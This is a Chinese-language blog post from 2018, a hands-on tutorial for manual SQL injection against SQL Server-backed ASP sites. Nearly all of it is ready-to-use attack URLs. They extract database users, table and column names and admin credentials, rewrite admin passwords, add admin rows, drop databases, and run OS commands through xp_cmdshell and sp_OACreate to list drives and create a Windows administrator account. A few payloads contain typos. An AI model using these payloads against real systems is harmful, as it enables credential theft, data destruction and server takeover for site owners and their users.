SQL Sever手工注入

Posted by Waldo on July 16, 2018

判断数据库类型

以http://www.xxx.com/xxx.asp?id=xx为例子,如果用单引号、and 1=1、and 1=2检测到这个网站有漏洞,可以从加单引号后返回的错误信息中确定该网站使用的是SQL Sever数据库

image.png

获得当前用户的用户名

http://www.xxx.com/xx.asp?id=xxxx and user>0

通过上述语句可以通过报错信息得到当前用户的用户名

image.png

为什么输入and user > 0就可以得到当前用户?
因为user是SQL Sever的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。而这里拿一个nvarchar的值跟int的数的0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQL Sever的出错提示是:将nvarchar的值”xingsheadmin”转换数据类型为int的列时发生语法错误,注意,”xingsheadmin”正是变量user的值,这样,不费吹灰之力就拿到了数据库的用户名。

如果是sa登录,那么返回的错误提示是将”dbo”转换成int的列发生错误,如下图:

image.png

查询当前用户的数据信息

http://www.xxx.com/xx.asp?id=xxxx having 1=1--

image.png

其中FORUM_TOPICS.TOPIC_ID就是当前用户的数据信息。FORUM_TOPICS是表名,TOPIC_ID为列名。

继续查询当前用户的数据信息

http://www.xxx.com/xx.asp?id=xxxx group by FORUM_TOPICS.TOPIC_ID.FORUM_TOPICS having 1=1--

可以得到一个T_SUBJECT列名

image.png

http://www.xxx.com/xx.asp?id=xxxx group by FORUM_TOPICS.TOPIC_ID.FORUM_TOPICS.T_SUBJECT having 1=1--

使用上述语句可以得到其他的列名

上面的方法的原理是在SQL语句中,having 1=1–是与group by结合使用并进行条件判断的,如果语句不完整,数据库就会返回错误信息,并显示一个表名和一个列名

暴任意表名

语句为:and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc) > 1。其中N代表数据库中的第N个表。

http://www.xxx.com/xx.asp?id=xxxx and (select top 1 name) and (select top 1 name from (select top 1 id,name from sysobjects where xtype=char(85)) T order by id desc) > 1

猜解到第一个表的表名为D99_REG,如下图:

image.png

http://www.xxx.com/xx.asp?id=xxxx and (select top 1 name) and (select top 2 name from (select top 1 id,name from sysobjects where xtype=char(85)) T order by id desc) > 1

猜解到第二个表名shit_tmp,如下图:

image.png

暴任意表中的任意列的数据

语句为:and (select top 1 col_name(object_id(‘表名’),N) from sysobjects) > 1

http://www.xxx.com/xx.asp?id=xxxx and (select top 1 col_name(object_id('D99_REG'),1) from sysobjects) > 1

上述语句暴出D99_REG表中的第一个列名为ID

image.png

http://www.xxx.com/xx.asp?id=xxxx and (select top 1 col_name(object_id('D99_REG'),2) from sysobjects) > 1

上述语句暴出D99_REG表中的第二个列名为Data

image.png

暴出数据库中的数据

语句为:and (select top 1 列名 from 表名 where id=N) > 1 其中N代表第N条数据。

http://www.xxx.com/xx.asp?id=xxxx and (select top 1 username from admin where id=1) > 1

上述语句可以猜解出admin表中username的第一条数据。

http://www.xxx.com/xx.asp?id=xxxx and (select top 1 password from admin where id=1) > 1

上述语句可以猜解出admin表中password的第一条数据。

若URL中的参数是字符

判断是否存在注入漏洞

http://www.xxx.com/xxx.asp?action=value' and 1=1
http://www.xxx.com/xxx.asp?action=value' and 1=2

判断当前的数据库类型

http://www.xxx.com/xxx.asp?action=value' and user > 0

搜索型注入

注入代码:

要搜索的关键字%'  and  注入攻击代码

判断注入漏洞(假设搜索关键字为a):

a' and 1=1
a' and 1=2

利用SQL注入修改数据库中的数据

修改管理员密码

语句为: ;update 表名 set 列名=’内容’ where 条件

将admin表中的username为wzh的密码改为123
http://www.xxx.com/xxx.asp?id=xx;update admin set password='123' where username='wzh'

新添加一个管理员

语句为:;insert into 表名 values(内容)–

在admin表中添加一个username为wzh,password为123的管理员
http://www.xxx.com/xxx.asp?id=xx;insert into admin values(wzh,123)--

删除数据库

语句为:;drop databse 数据库名

删除数据库hack
http://www.xxx.com/xxx.asp?id=xx;drop database hacck

获得数据库相关信息

获得数据库版本:http://www.xxx.com/xxx.asp?id=xx and (select @@version) > 0
获得当前数据库名:http://www.xxx.com/xxx.asp?id=xx and db_name() > 0
获得当前数据库用户名:http://www.xxx.com/xxx.asp?id=xx and user > 0
注:user、SESSION、CURRENT_USER、SYSTEM_USER都可以获得当前数据库用户名
判断是否支持多句查询:http://www.xxx.com/xxx.asp?id=xx;declare @a int--
判断是否支持子查询:http://www.xxx.com/xxx.asp?id=xx and (select count(1) from [sysobjects]) >= 0

利用数据库的扩展存储过程(exec master..xp_cmdshell)

注:主要在;exec master..xp_cmdshell后加上引号和引号内写入一些DOS命令

查看服务器上的C盘根目录下的文件和文件夹

http://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'dir C:\'

加一个管理员账号

往服务器里面加了一个123的管理员
http://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'net user 123 123/add'
http://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'net localgroup administrators 123/add'

关于扩展存储过程

判断扩展存储过程是否存在

http://www.xxx.com/xxx.asp?id=xx and SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell'
如果返回正常则说明扩展存储过程存在,返回不正常的话就说明不存在。

若扩展存储过程不存在,恢复存储过程

语句为:;exec sp_addextendedproc xp_cmdshell,’xplog70.dll’

执行如下语句,网站http://www.xxx.com/后台的数据库的扩展存储过程就被恢复了:
http://www.xxx.com/xxx.asp?id=xx;exec sp_addextendedproc xp_cmdshell,'xplog70.dll'

如果要删除扩展存储过程,执行如下语句:
http://www.xxx.com/xxx.asp?id=xx;exec sp_addextendedproc xp_cmdshell

通过访问OLE对象访问OLE控件间接获得shell

注:要得到shell,要用到两个关键函数,”sp_OACreate”和”sp_OAMethod”。

http://www.xxx.com/xxx.asp?id=xx;DECLARE @S INT EXEC SP_OACREAT 'wscript.shell',@s exec master..SPOAMETHOD @s,'run',null,'cmd.exe/c dir C:\'
执行的结果是返回遍历服务器C盘下的所有文件,同时达到一个shell的功能,但是注意,需要是SA权限才能够执行